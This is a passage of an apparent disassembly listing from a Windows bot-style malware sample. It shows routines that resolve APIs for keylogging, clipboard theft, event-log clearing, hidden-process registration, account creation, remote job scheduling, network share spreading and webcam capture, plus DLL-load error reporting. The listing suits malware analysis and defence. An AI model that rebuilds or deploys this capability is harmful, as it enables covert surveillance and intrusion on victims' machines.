loc_409A05: ; CODE XREF: sub_4098FD+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi
cmp eax, ebx
mov dword_4C933C, eax
jz short loc_409A32
push 1
push ebx
call eax
jmp short loc_409A32
; ---------------------------------------------------------------------------
loc_409A1D: ; CODE XREF: sub_4098FD+1Dj
nop
call near ptr 2680DCDh
mov dword_4C93C8, eax
mov dword_4C93C4, 1
loc_409A32: ; CODE XREF: sub_4098FD+117j
; sub_4098FD+11Ej
push offset aUser32_dll ; "user32.dll"
nop
call near ptr 26B0C73h
mov edi, eax
cmp edi, ebx
jz loc_409B47
push offset aSendmessagea ; "SendMessageA"
push edi
call esi
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_4C9360, eax
call esi
push offset aIswindow ; "IsWindow"
push edi
mov dword_4C9310, eax
call esi
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_4C92A4, eax
call esi
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_4C93B4, eax
call esi
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_4C92D4, eax
call esi
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_4C92F4, eax
call esi
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_4C9358, eax
call esi
cmp dword_4C9360, ebx
mov dword_4C9244, eax
jz short loc_409AEB
cmp dword_4C9310, ebx
jz short loc_409AEB
cmp dword_4C92A4, ebx
jz short loc_409AEB
cmp dword_4C93B4, ebx
jz short loc_409AEB
cmp dword_4C92D4, ebx
jz short loc_409AEB
cmp dword_4C92F4, ebx
jz short loc_409AEB
cmp dword_4C9358, ebx
jz short loc_409AEB
cmp eax, ebx
jnz short loc_409AF5
loc_409AEB: ; CODE XREF: sub_4098FD+1B8j
; sub_4098FD+1C0j ...
mov dword_4C93CC, 1
loc_409AF5: ; CODE XREF: sub_4098FD+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi
push offset aGetkeystate ; "GetKeyState"
push edi
mov dword_4C92D0, eax
call esi
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov dword_4C91D8, eax
call esi
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov dword_4C92A0, eax
call esi
cmp dword_4C92D0, ebx
mov dword_4C9288, eax
jz short loc_409B52
cmp dword_4C91D8, ebx
jz short loc_409B52
cmp dword_4C92A0, ebx
jz short loc_409B52
cmp eax, ebx
jnz short loc_409B5C
jmp short loc_409B52
; ---------------------------------------------------------------------------
loc_409B47: ; CODE XREF: sub_4098FD+144j
nop
call near ptr 2680DCDh
mov dword_4C93D0, eax
loc_409B52: ; CODE XREF: sub_4098FD+232j
; sub_4098FD+23Aj ...
mov dword_4C93CC, 1
loc_409B5C: ; CODE XREF: sub_4098FD+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_409D15
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_4C9374, eax
call esi
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_4C92B8, eax
call esi
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_4C9328, eax
call esi
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_4C9204, eax
call esi
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_4C9268, eax
call esi
push offset aOpeneventloga ; "OpenEventLogA"
push edi
mov dword_4C92E0, eax
call esi
push offset aCleareventloga ; "ClearEventLogA"
push edi
mov dword_4C9284, eax
call esi
cmp dword_4C9374, ebx
mov dword_4C9294, eax
jz short loc_409C05
cmp dword_4C92B8, ebx
jz short loc_409C05
cmp dword_4C9328, ebx
jz short loc_409C05
cmp dword_4C9204, ebx
jz short loc_409C05
cmp dword_4C9268, ebx
jz short loc_409C05
cmp dword_4C92E0, ebx
jnz short loc_409C0F
loc_409C05: ; CODE XREF: sub_4098FD+2DEj
; sub_4098FD+2E6j ...
mov dword_4C93D4, 1
loc_409C0F: ; CODE XREF: sub_4098FD+306j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_4C92E8, eax
call esi
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_4C92C0, eax
call esi
cmp dword_4C92E8, ebx
mov dword_4C9370, eax
jz short loc_409C4A
cmp dword_4C92C0, ebx
jz short loc_409C4A
cmp eax, ebx
jnz short loc_409C54
loc_409C4A: ; CODE XREF: sub_4098FD+33Fj
; sub_4098FD+347j
mov dword_4C93D4, 1
loc_409C54: ; CODE XREF: sub_4098FD+34Bj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_4C92F8, eax
call esi
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_4C91E0, eax
call esi
push offset aControlservice ; "ControlService"
push edi
mov dword_4C91E8, eax
call esi
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_4C924C, eax
call esi
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_4C9250, eax
call esi
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_4C91FC, eax
call esi
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_4C92C4, eax
call esi
cmp dword_4C92F8, ebx
mov dword_4C91EC, eax
jz short loc_409CF8
cmp dword_4C91E0, ebx
jz short loc_409CF8
cmp dword_4C91E8, ebx
jz short loc_409CF8
cmp dword_4C924C, ebx
jz short loc_409CF8
cmp dword_4C9250, ebx
jz short loc_409CF8
cmp dword_4C91FC, ebx
jz short loc_409CF8
cmp dword_4C92C4, ebx
jz short loc_409CF8
cmp eax, ebx
jnz short loc_409D02
loc_409CF8: ; CODE XREF: sub_4098FD+3C5j
; sub_4098FD+3CDj ...
mov dword_4C93D4, 1
loc_409D02: ; CODE XREF: sub_4098FD+3F9j
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi
cmp eax, ebx
mov dword_4C91E4, eax
jnz short loc_409D2A
jmp short loc_409D20
; ---------------------------------------------------------------------------
loc_409D15: ; CODE XREF: sub_4098FD+26Aj
nop
call near ptr 2680DCDh
mov dword_4C93D8, eax
loc_409D20: ; CODE XREF: sub_4098FD+416j
mov dword_4C93D4, 1
loc_409D2A: ; CODE XREF: sub_4098FD+414j
push offset aGdi32_dll ; "gdi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_409DF6
push offset aCreatedca ; "CreateDCA"
push edi
call esi
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_4C92F0, eax
call esi
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_4C9348, eax
call esi
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_4C9350, eax
call esi
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_4C930C, eax
call esi
push offset aSelectobject ; "SelectObject"
push edi
mov dword_4C9228, eax
call esi
push offset aBitblt ; "BitBlt"
push edi
mov dword_4C91D4, eax
call esi
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_4C934C, eax
call esi
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_4C91C0, eax
call esi
cmp dword_4C92F0, ebx
mov dword_4C9260, eax
jz short loc_409E01
cmp dword_4C9348, ebx
jz short loc_409E01
cmp dword_4C9350, ebx
jz short loc_409E01
cmp dword_4C930C, ebx
jz short loc_409E01
cmp dword_4C9228, ebx
jz short loc_409E01
cmp dword_4C91D4, ebx
jz short loc_409E01
cmp dword_4C934C, ebx
jz short loc_409E01
cmp dword_4C91C0, ebx
jz short loc_409E01
cmp eax, ebx
jnz short loc_409E0B
jmp short loc_409E01
; ---------------------------------------------------------------------------
loc_409DF6: ; CODE XREF: sub_4098FD+438j
nop
call near ptr 2680DCDh
mov dword_4C93E0, eax
loc_409E01: ; CODE XREF: sub_4098FD+4B9j
; sub_4098FD+4C1j ...
mov dword_4C93DC, 1
loc_409E0B: ; CODE XREF: sub_4098FD+4F5j
mov ebp, dword_4270C8
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A0C7
push offset aWsastartup ; "WSAStartup"
push edi
call esi
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_4C9274, eax
call esi
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_4C93A8, eax
call esi
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_4C9214, eax
call esi
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_4C91F0, eax
call esi
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_4C92B0, eax
call esi
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_4C9298, eax
call esi
push offset aSocket ; "socket"
push edi
mov dword_4C925C, eax
call esi
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_4C9384, eax
call esi
push offset aConnect ; "connect"
push edi
mov dword_4C93A0, eax
call esi
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_4C92AC, eax
call esi
push offset aInet_addr ; "inet_addr"
push edi
mov dword_4C9390, eax
call esi
push offset aHtons ; "htons"
push edi
mov dword_4C9344, eax
call esi
push offset aHtonl ; "htonl"
push edi
mov dword_4C9304, eax
call esi
push offset aNtohs ; "ntohs"
push edi
mov dword_4C9300, eax
call esi
push offset aNtohl ; "ntohl"
push edi
mov dword_4C9234, eax
call esi
push offset aSend ; "send"
push edi
mov dword_4C922C, eax
call esi
push offset aSendto ; "sendto"
push edi
mov dword_4C9354, eax
call esi
push offset aRecv ; "recv"
push edi
mov dword_4C9368, eax
call esi
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_4C931C, eax
call esi
mov dword_4C92DC, eax
push offset aBind ; "bind"
push edi
call esi
push offset aSelect ; "select"
push edi
mov dword_4C9330, eax
call esi
push offset aListen ; "listen"
push edi
mov dword_4C92EC, eax
call esi
push offset aAccept ; "accept"
push edi
mov dword_4C932C, eax
call esi
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_4C9398, eax
call esi
push offset aGetsockname ; "getsockname"
push edi
mov dword_4C92E4, eax
call esi
push offset aGethostname ; "gethostname"
push edi
mov dword_4C92A8, eax
call esi
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_4C9318, eax
call esi
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_4C9388, eax
call esi
push offset aGetpeername ; "getpeername"
push edi
mov dword_4C92BC, eax
call esi
push offset aClosesocket ; "closesocket"
push edi
mov dword_4C9258, eax
call esi
cmp dword_4C9274, ebx
mov dword_4C939C, eax
jz loc_40A0D2
cmp dword_4C93A8, ebx
jz loc_40A0D2
cmp dword_4C9214, ebx
jz loc_40A0D2
cmp dword_4C92B0, ebx
jz loc_40A0D2
cmp dword_4C9298, ebx
jz loc_40A0D2
cmp dword_4C925C, ebx
jz loc_40A0D2
cmp dword_4C9384, ebx
jz loc_40A0D2
cmp dword_4C93A0, ebx
jz loc_40A0D2
cmp dword_4C92AC, ebx
jz loc_40A0D2
cmp dword_4C9390, ebx
jz loc_40A0D2
cmp dword_4C9344, ebx
jz loc_40A0D2
cmp dword_4C9304, ebx
jz loc_40A0D2
cmp dword_4C9300, ebx
jz loc_40A0D2
cmp dword_4C9234, ebx
jz short loc_40A0D2
cmp dword_4C9354, ebx
jz short loc_40A0D2
cmp dword_4C9368, ebx
jz short loc_40A0D2
cmp dword_4C931C, ebx
jz short loc_40A0D2
cmp dword_4C92DC, ebx
jz short loc_40A0D2
cmp dword_4C9330, ebx
jz short loc_40A0D2
cmp dword_4C92EC, ebx
jz short loc_40A0D2
cmp dword_4C932C, ebx
jz short loc_40A0D2
cmp dword_4C9398, ebx
jz short loc_40A0D2
cmp dword_4C92E4, ebx
jz short loc_40A0D2
cmp dword_4C92A8, ebx
jz short loc_40A0D2
cmp dword_4C9318, ebx
jz short loc_40A0D2
cmp dword_4C9388, ebx
jz short loc_40A0D2
cmp dword_4C92BC, ebx
jz short loc_40A0D2
cmp eax, ebx
jnz short loc_40A0DC
jmp short loc_40A0D2
; ---------------------------------------------------------------------------
loc_40A0C7: ; CODE XREF: sub_4098FD+51Fj
nop
call near ptr 2680DCDh
mov dword_4C93E8, eax
loc_40A0D2: ; CODE XREF: sub_4098FD+6BEj
; sub_4098FD+6CAj ...
mov dword_4C93E4, 1
loc_40A0DC: ; CODE XREF: sub_4098FD+7C6j
push offset aWininet_dll ; "wininet.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A1E1
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_4C9240, eax
call esi
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_4C91C8, eax
call esi
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_4C92CC, eax
call esi
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_4C9278, eax
call esi
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_4C92D8, eax
call esi
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_4C929C, eax
call esi
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_4C9208, eax
call esi
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_4C9200, eax
call esi
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_4C9210, eax
call esi
cmp dword_4C9240, ebx
mov ecx, dword_4C929C
mov dword_4C9338, eax
jz short loc_40A1BD
cmp dword_4C91C8, ebx
jz short loc_40A1BD
cmp dword_4C92CC, ebx
jz short loc_40A1BD
cmp dword_4C9278, ebx
jz short loc_40A1BD
cmp dword_4C92D8, ebx
jz short loc_40A1BD
cmp ecx, ebx
jz short loc_40A1BD
cmp dword_4C9208, ebx
jz short loc_40A1BD
cmp dword_4C9200, ebx
jz short loc_40A1BD
cmp dword_4C9210, ebx
jz short loc_40A1BD
cmp eax, ebx
jnz short loc_40A1C7
loc_40A1BD: ; CODE XREF: sub_4098FD+87Ej
; sub_4098FD+886j ...
mov dword_4C93EC, 1
loc_40A1C7: ; CODE XREF: sub_4098FD+8BEj
cmp ecx, ebx
jz short loc_40A1FC
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx
cmp eax, ebx
mov dword_4C92B4, eax
jnz short loc_40A1FC
jmp short loc_40A1F6
; ---------------------------------------------------------------------------
loc_40A1E1: ; CODE XREF: sub_4098FD+7EAj
nop
call near ptr 2680DCDh
mov dword_4C93F0, eax
mov dword_4C93EC, 1
loc_40A1F6: ; CODE XREF: sub_4098FD+8E2j
mov dword_4C92B4, ebx
loc_40A1FC: ; CODE XREF: sub_4098FD+8CCj
; sub_4098FD+8E0j
push offset aIcmp_dll ; "icmp.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A246
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov dword_4C928C, eax
call esi
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov dword_4C93BC, eax
call esi
cmp dword_4C928C, ebx
mov dword_4C921C, eax
jz short loc_40A251
cmp dword_4C93BC, ebx
jz short loc_40A251
cmp eax, ebx
jnz short loc_40A25B
jmp short loc_40A251
; ---------------------------------------------------------------------------
loc_40A246: ; CODE XREF: sub_4098FD+90Aj
nop
call near ptr 2680DCDh
mov dword_4C93F8, eax
loc_40A251: ; CODE XREF: sub_4098FD+939j
; sub_4098FD+941j ...
mov dword_4C93F4, 1
loc_40A25B: ; CODE XREF: sub_4098FD+945j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A362
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_4C91F8, eax
call esi
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_4C91D0, eax
call esi
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_4C9248, eax
call esi
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_4C927C, eax
call esi
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_4C9394, eax
call esi
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_4C9230, eax
call esi
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_4C91DC, eax
call esi
push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_4C91CC, eax
call esi
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_4C9264, eax
call esi
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_4C935C, eax
call esi
push offset aNetwkstagetinf ; "NetWkstaGetInfo"
push edi
mov dword_4C9314, eax
call esi
cmp dword_4C91F8, ebx
mov dword_4C9238, eax
jz short loc_40A36D
cmp dword_4C91D0, ebx
jz short loc_40A36D
cmp dword_4C9248, ebx
jz short loc_40A36D
cmp dword_4C927C, ebx
jz short loc_40A36D
cmp dword_4C9394, ebx
jz short loc_40A36D
cmp dword_4C9230, ebx
jz short loc_40A36D
cmp dword_4C91DC, ebx
jz short loc_40A36D
cmp dword_4C91CC, ebx
jz short loc_40A36D
cmp dword_4C9264, ebx
jz short loc_40A36D
cmp dword_4C935C, ebx
jz short loc_40A36D
cmp dword_4C9314, ebx
jnz short loc_40A377
jmp short loc_40A36D
; ---------------------------------------------------------------------------
loc_40A362: ; CODE XREF: sub_4098FD+969j
call near ptr 2680DCDh
nop
mov dword_4C9400, eax
loc_40A36D: ; CODE XREF: sub_4098FD+A11j
; sub_4098FD+A19j ...
mov dword_4C93FC, 1
loc_40A377: ; CODE XREF: sub_4098FD+A61j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A3AC
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_4C9220, eax
call esi
cmp dword_4C9220, ebx
mov dword_4C92FC, eax
jz short loc_40A3B7
cmp eax, ebx
jnz short loc_40A3C1
jmp short loc_40A3B7
; ---------------------------------------------------------------------------
loc_40A3AC: ; CODE XREF: sub_4098FD+A85j
nop
call near ptr 2680DCDh
mov dword_4C9408, eax
loc_40A3B7: ; CODE XREF: sub_4098FD+AA7j
; sub_4098FD+AADj
mov dword_4C9404, 1
loc_40A3C1: ; CODE XREF: sub_4098FD+AABj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A3F6
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_4C9380, eax
call esi
cmp dword_4C9380, ebx
mov dword_4C937C, eax
jz short loc_40A401
cmp eax, ebx
jnz short loc_40A40B
jmp short loc_40A401
; ---------------------------------------------------------------------------
loc_40A3F6: ; CODE XREF: sub_4098FD+ACFj
nop
call near ptr 2680DCDh
mov dword_4C9410, eax
loc_40A401: ; CODE XREF: sub_4098FD+AF1j
; sub_4098FD+AF7j
mov dword_4C940C, 1
loc_40A40B: ; CODE XREF: sub_4098FD+AF5j
push offset aMpr_dll ; "mpr.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A46A
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_4C93AC, eax
call esi
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_4C93A4, eax
call esi
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_4C936C, eax
call esi
cmp dword_4C93AC, ebx
mov dword_4C923C, eax
jz short loc_40A475
cmp dword_4C93A4, ebx
jz short loc_40A475
cmp dword_4C936C, ebx
jz short loc_40A475
cmp eax, ebx
jnz short loc_40A47F
jmp short loc_40A475
; ---------------------------------------------------------------------------
loc_40A46A: ; CODE XREF: sub_4098FD+B19j
call near ptr 2680DCDh
nop
mov dword_4C9418, eax
loc_40A475: ; CODE XREF: sub_4098FD+B55j
; sub_4098FD+B5Dj ...
mov dword_4C9414, 1
loc_40A47F: ; CODE XREF: sub_4098FD+B69j
push offset aShell32_dll ; "shell32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A4B4
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_4C9270, eax
call esi
cmp dword_4C9270, ebx
mov dword_4C9378, eax
jz short loc_40A4BF
cmp eax, ebx
jnz short loc_40A4C9
jmp short loc_40A4BF
; ---------------------------------------------------------------------------
loc_40A4B4: ; CODE XREF: sub_4098FD+B8Dj
nop
call near ptr 2680DCDh
mov dword_4C9420, eax
loc_40A4BF: ; CODE XREF: sub_4098FD+BAFj
; sub_4098FD+BB5j
mov dword_4C941C, 1
loc_40A4C9: ; CODE XREF: sub_4098FD+BB3j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A552
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov dword_4C9340, eax
call esi
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_4C938C, eax
call esi
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_4C92C8, eax
call esi
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_4C9280, eax
call esi
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_4C9320, eax
call esi
cmp dword_4C9340, ebx
mov dword_4C9290, eax
jz short loc_40A55D
cmp dword_4C938C, ebx
jz short loc_40A55D
cmp dword_4C92C8, ebx
jz short loc_40A55D
cmp dword_4C9280, ebx
jz short loc_40A55D
cmp dword_4C9320, ebx
jz short loc_40A55D
cmp eax, ebx
jnz short loc_40A567
jmp short loc_40A55D
; ---------------------------------------------------------------------------
loc_40A552: ; CODE XREF: sub_4098FD+BD7j
nop
call near ptr 2680DCDh
mov dword_4C9428, eax
loc_40A55D: ; CODE XREF: sub_4098FD+C2Dj
; sub_4098FD+C35j ...
mov dword_4C9424, 1
loc_40A567: ; CODE XREF: sub_4098FD+C51j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A59C
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov dword_4C9254, eax
call esi
cmp dword_4C9254, ebx
mov dword_4C9334, eax
jz short loc_40A5A7
cmp eax, ebx
jnz short loc_40A5B1
jmp short loc_40A5A7
; ---------------------------------------------------------------------------
loc_40A59C: ; CODE XREF: sub_4098FD+C75j
nop
call near ptr 2680DCDh
mov dword_4C9430, eax
loc_40A5A7: ; CODE XREF: sub_4098FD+C97j
; sub_4098FD+C9Dj
mov dword_4C942C, 1
loc_40A5B1: ; CODE XREF: sub_4098FD+C9Bj
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
retn
sub_4098FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A5B9 proc near ; CODE XREF: sub_401AC7+24FBp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+arg_4]
push esi
xor esi, esi
cmp dword_4C93C4, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_40A601
push dword_4C93C8
lea eax, [ebp+var_200]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax
call sub_41C006
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409862
add esp, 20h
loc_40A601: ; CODE XREF: sub_40A5B9+1Aj
cmp dword_4C93CC, esi
jz short loc_40A635
push dword_4C93D0
lea eax, [ebp+var_200]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax
call sub_41C006
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409862
add esp, 20h
loc_40A635: ; CODE XREF: sub_40A5B9+4Ej
cmp dword_4C93D4, esi
jz short loc_40A669
push dword_4C93D8
lea eax, [ebp+var_200]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax
call sub_41C006
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409862
add esp, 20h
loc_40A669: ; CODE XREF: sub_40A5B9+82j
cmp dword_4C93DC, esi
jz short loc_40A69D
push dword_4C93E0
lea eax, [ebp+var_200]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax
call sub_41C006
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409862
add esp, 20h
loc_40A69D: ; CODE XREF: sub_40A5B9+B6j
cmp dword_4C93E4, esi
jz short loc_40A6D1
push dword_4C93E8
lea eax, [ebp+var_200]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax
call sub_41C006
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409862
add esp, 20h
loc_40A6D1: ; CODE XREF: sub_40A5B9+EAj
cmp dword_4C93EC, esi
jz short loc_40A705
push dword_4C93F0
lea eax, [ebp+var_200]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax
call sub_41C006
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409862
add esp, 20h
loc_40A705: ; CODE XREF: sub_40A5B9+11Ej
cmp dword_4C93F4, esi
jz short loc_40A739
push dword_4C93F8
lea eax, [ebp+var_200]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax
call sub_41C006
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409862
add esp, 20h
loc_40A739: ; CODE XREF: sub_40A5B9+152j
cmp dword_4C93FC, esi
jz short loc_40A76D
push dword_4C9400
lea eax, [ebp+var_200]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax
call sub_41C006
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409862
add esp, 20h
loc_40A76D: ; CODE XREF: sub_40A5B9+186j
cmp dword_4C9404, esi
jz short loc_40A7A1
push dword_4C9408
lea eax, [ebp+var_200]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax
call sub_41C006
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409862
add esp, 20h
loc_40A7A1: ; CODE XREF: sub_40A5B9+1BAj
cmp dword_4C940C, esi
jz short loc_40A7D5
push dword_4C9410
lea eax, [ebp+var_200]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax
call sub_41C006
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409862
add esp, 20h
loc_40A7D5: ; CODE XREF: sub_40A5B9+1EEj
cmp dword_4C9414, esi
jz short loc_40A809
push dword_4C9418
lea eax, [ebp+var_200]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax
call sub_41C006
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409862
add esp, 20h
loc_40A809: ; CODE XREF: sub_40A5B9+222j
cmp dword_4C941C, esi
jz short loc_40A83D
push dword_4C9420
lea eax, [ebp+var_200]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax
call sub_41C006
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409862
add esp, 20h
loc_40A83D: ; CODE XREF: sub_40A5B9+256j
cmp dword_4C9424, esi
jz short loc_40A871
push dword_4C9428
lea eax, [ebp+var_200]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax
call sub_41C006
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409862
add esp, 20h
loc_40A871: ; CODE XREF: sub_40A5B9+28Aj
cmp dword_4C942C, esi
jz short loc_40A8A5
push dword_4C9430
lea eax, [ebp+var_200]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax
call sub_41C006
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409862
add esp, 20h
loc_40A8A5: ; CODE XREF: sub_40A5B9+2BEj
lea eax, [ebp+var_200]
push offset unk_42D6D0
push eax
call sub_41C006
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_40A8D2
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409862
add esp, 14h
loc_40A8D2: ; CODE XREF: sub_40A5B9+302j
lea eax, [ebp+var_200]
push eax
call sub_415CEE
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40A5B9 endp
; =============== S U B R O U T I N E =======================================
sub_40A8E4 proc near ; CODE XREF: sub_4017E7+4Fp
; sub_401AC7+5C0Fp ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4C9344
cmp eax, 0FFFFFFFFh
jnz short locret_40A90C
push [esp+arg_0]
